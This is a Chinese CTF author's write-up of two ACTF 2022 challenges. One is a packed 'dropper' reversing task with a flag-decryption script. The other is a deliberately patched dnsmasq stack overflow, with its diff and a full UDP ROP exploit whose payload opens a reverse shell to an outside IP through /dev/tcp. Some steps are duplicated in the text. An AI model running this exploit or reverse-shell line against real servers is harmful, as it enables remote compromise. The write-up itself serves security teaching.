前序
在xctf分站赛中出了两道题，分别是dropper和master_of_dns，两道题都偏简单一点，dropper解题31个队，master_of_dns解题三个队，可能是第二天放题的缘故。
出题思路
出题源码
自己的题解：https://github.com/zdy/ACTF2022-problem
官方题解：https://github.com/team-s2/ACTF-2022
dropper
使用这个工具Dropper在外面加一层壳，这个方法是绕恶意软件检测模型提出的, 使用异常处理更改代码执行路径（使用异常处理进行虚函数表hook）,真实软件是c++面向对象的flag加密代码(使用了大数运算)
考点总结：upx壳+dropper+大数运算+异常处理+虚函数表hook
master_of_dns
使用dnsmasq软件，patch dns域名解析的位置，设置一个栈溢出漏洞(源码修改的非常少)，因为是栈溢出，所以利用方法也很多，这里也加了些东西干扰diff
考点总结：dns协议 + dns域名指针的用处 + diff找出漏洞
题解
dropper
- 使用upx加壳工具脱掉壳，如果不能运行，关掉文件的aslr标志位，关闭DYNAMIC_BASE
- 通过dropper搜索相关含义，找到从资源区获取数据并加密的代码，如果可以找到https://github.com/marcusbotacin/Dropper， 那基本离解题更进一步
- 没找到运行PE文件的函数交叉引用，猜测是使用了GetProcAddress，利用交叉引用找到对应地方
- 静态分析找到，或者动态跟踪找到对应的数据，分析解密，写脚本将数据解密，生成真正的可执行文件
- 这里还是比较简单的，就是做了个异或某个数字
- 静态分析找到，或者动态跟踪找到对应的数据，分析解密，写脚本将数据解密，生成真正的可执行文件
- 没找到运行PE文件的函数交叉引用，猜测是使用了GetProcAddress，利用交叉引用找到对应地方
- 动态调试跟踪，可以跟踪到加密和验证的所有过程，并不复杂，这里只是加了反静态分析的方法，利用简单的除0进行异常捕捉进行虚函数表hook，使得静态分析失效
- 可以输入flag后，对text区下断点，获得处理逻辑地址，在IDA中找到之后，设置断点，进行跟踪
- 猜测生成的大数是如何存储的，动态调试找到存储数据的地址空间，并尝试将十六进制转换为十进制，可以看到十进制只以十六进制存储。
- 根据IDA的string，发现BASE64的字符串表，根据交叉引用，找到真正的加密判断地址
- 可以输入flag后，对text区下断点，获得处理逻辑地址，在IDA中找到之后，设置断点，进行跟踪
- 也可以使用动态调试，打开文件，运行到“flag:”，停止当前进程，然后附加到被创建的子进程，就可以动态调试被生成的子进程。
- 解密代码
import base64
res = 834572051814337070469744559761199605121805728622619480039894407167152612470842477813941120780374570205930952883661000998715107231695919001238818879944773516507366865633886966330912156402063735306303966193481658066437563587241718036562480496368592194719092339868512773222711600878782903109949779245500098606570248830570792028831133949440164219842871034275938433
res = res + 57705573952449699620072104055030025886984180500734382250587152417040141679598894
res = res - 71119332457202863671922045224905384620742912949065190274173724688764272313900465
res = res + 55079029772840138145785005601340325789675668817561045403173659223377346727295749
res = res - 14385283226689171523445844388769467232023411467394422980403729848631619308579599
res = res + 80793226935699295824618519685638809874579343342564712419235587177713165502121664
res = res // 7537302706582391238853817483600228733479333152488218477840149847189049516952787
res = res - 17867047589171477574847737912328753108849304549280205992204587760361310317983607
res = res + 55440851777679184418972581091796582321001517732868509947716453414109025036506793
res = res // 11783410410469738048283152171898507679537812634841032055361622989575562121323526
res = res - 64584540291872516627894939590684951703479643371381420434698676192916126802789388
s = ''
while res:
s += chr(res % 128)
res = res // 128
print(base64.b64decode(s))
master_of_dns
- fuzz或者diff找到漏洞，构造漏洞，只在两个地方进行了修改（改动非常小）,去除了dnsmasq明显的特征，以及新增几个干扰diff的函数
- 去掉tcp_request，关闭tcp查询，因为使用tcp协议就不用域名指针也可以触发漏洞
- 新增栈溢出
diff --color -Naur dnsmasq-2.86/src/dnsmasq.c dnsmasq-2.86-patch/src/dnsmasq.c --- dnsmasq-2.86/src/dnsmasq.c 2021-09-09 04:21:22.000000000 +0800 +++ dnsmasq-2.86-patch/src/dnsmasq.c 2022-03-18 16:02:32.425548837 +0800 @@ -1986,13 +1986,14 @@ if ((flags = fcntl(confd, F_GETFL, 0)) != -1) fcntl(confd, F_SETFL, flags & ~O_NONBLOCK); - buff = tcp_request(confd, now, &tcp_addr, netmask, auth_dns); + //关闭tcp查询 + //buff = tcp_request(confd, now, &tcp_addr, netmask, auth_dns); shutdown(confd, SHUT_RDWR); close(confd); - if (buff) - free(buff); + //if (buff) + //free(buff); for (s = daemon->servers; s; s = s->next) if (s->tcpfd != -1) diff --color -Naur dnsmasq-2.86/src/rfc1035.c dnsmasq-2.86-patch/src/rfc1035.c --- dnsmasq-2.86/src/rfc1035.c 2021-09-09 04:21:22.000000000 +0800 +++ dnsmasq-2.86-patch/src/rfc1035.c 2022-03-19 16:37:28.636136647 +0800 @@ -19,9 +19,11 @@ int extract_name(struct dns_header *header, size_t plen, unsigned char **pp, char *name, int isExtract, int extrabytes) { + //这里根据exp的构造调整一下 unsigned char *cp = (unsigned char *)name, *p = *pp, *p1 = NULL; - unsigned int j, l, namelen = 0, hops = 0; + unsigned int j, l,namelen = 0, hops = 0; int retvalue = 1; + unsigned char vul[848]; if (isExtract) *cp = 0; @@ -54,6 +56,7 @@ else *pp = p; + memcpy(vul, name, namelen); return retvalue; } - 根据漏洞构造poc，利用域名指针构造长度大于848长度的域名触发漏洞
- 多次利用域名指针
- 栈溢出漏洞，使用popen函数执行反弹shel
- 这里并不是任意长度溢出(点之间最大长度为0x3f)，而且域名内不能有\x00和\x2e，最大溢出长度为123个字节
- 一些利用方法的限制
- mprotect打开可执行权限，写入shellcode，显然溢出长度不够支撑做这些
- orw出flag，参数里会出现\x00字节，也不可行
- 使用execl函数反弹shell，但是最后一个必须是\x00，除非正好栈布局最后一个是\x00,也可以使用int 80来实现，可能123个字节有点不够用
- 预期利用方式
- 使用popen函数进行反弹shell，这里只需要两个参数，一个要执行的命令，另一个是操作类型，读或者写，类似popen(char *cmd, char *type)
- 因为溢出长度的限制，我们添加了几个gadget方便能够达到要求,也考察选手使用gadget的能力
- 添加一个gadget用来往某个地址写入值，还加了个异或，避免出现\x2e
add eax, 4 pop edx xor edx, 0xffffffff mov dword ptr [eax], edx ret - 因为123字节中间会有一个\x2e字节干扰，所以添加一个地址最后一个字节为\x2e的无用gadget
nop ret - 上面两个gadget都可以使用ropper或者ROPgadget搜索到
- 使用popen函数进行反弹shell，这里只需要两个参数，一个要执行的命令，另一个是操作类型，读或者写，类似popen(char *cmd, char *type)
- 当然这个题也比较开放，可以有多种的getshell方式(大佬说不定会有其他更好的利用方法)，目前有一个：https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/29/dns/
- 利用代码：
import socket
import os
import argparse
import random
import string
from pwn import *
context.arch='i386' #指定架构,不然会报错
# 无需connect服务端，因为发送时候跟上服务端ip和port就行
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
def genRandom(num, slen):
unique_strings = []
while len(unique_strings) < num:
ustring = ''.join(random.choice(string.ascii_lowercase + string.ascii_lowercase + string.digits) for i in range(slen))
if ustring not in unique_strings:
unique_strings.append(ustring)
return unique_strings
def dnsquery(ip, port):
query = os.urandom(2)
query += b'\x01\x00' # Flags: query + Truncated + Recursion Desired + Recursion Available
query += b'\x00\x01' # Questions
query += b'\x00\x00' # Answer RRs
query += b'\x00\x00' # Authority RRs
query += b'\x00\x00'# Additional RRs
# Queries
payload = b'\x3f' * 0x40
for i in range(13):
payload += b'\xc0'
payload += bytes([0xe + i * 2])
payload += b'\x3d'
payload += b'\x41\x41\x41\x41\x41'
popen_addr = 0x804ab40
exit_addr = 0x804ad30
nop_2e_addr = 0x0804A92E
pop_eax_addr = 0x08059d44
w_str_addr = 0x080A6660
update_addr = 0x0804B2B1
bss_addr = 0x80a7070
shell = b'/bin/sh -i >& /dev/tcp/59.63.224.105/9 0>&1'.ljust(44, b'\x00')
value = []
for i in range(0, len(shell), 4):
value.append(u32(shell[i:(i + 4)]))
print(len(value))
payload += flat([pop_eax_addr, bss_addr])
for i in range(6):
payload += flat([update_addr, value[i] ^ 0xffffffff])
payload += b'\x3f'
payload += b'\xa9\x04\x08'
for i in range(6, 11):
payload += flat([update_addr, value[i] ^ 0xffffffff])
payload += flat([popen_addr, exit_addr, bss_addr + 0x4, w_str_addr])
payload += b'\x41\x41\x41\x41'
payload += b'\x00'
print(payload)
query += payload # Name
query += b'\x00\x01' # Type: NS
query += b'\x00\x01'# Class: IN
client.sendto(query, (ip, int(port)))
data, server_addr = client.recvfrom(1024)
print(data)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-ip', help='ip address', required=True)
parser.add_argument('-port', help='port', required=True)
args = parser.parse_args()
ip = args.ip
port = args.port
dnsquery(ip, port)
if __name__ == '__main__':
main()
总结
此次出题花费了两周时间，从出题的角度感受了下，最后大家做的时候，感觉还是不错的，达到预期了吧，dropper没有被很多人解出来，也起到了签到的目的。
338
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
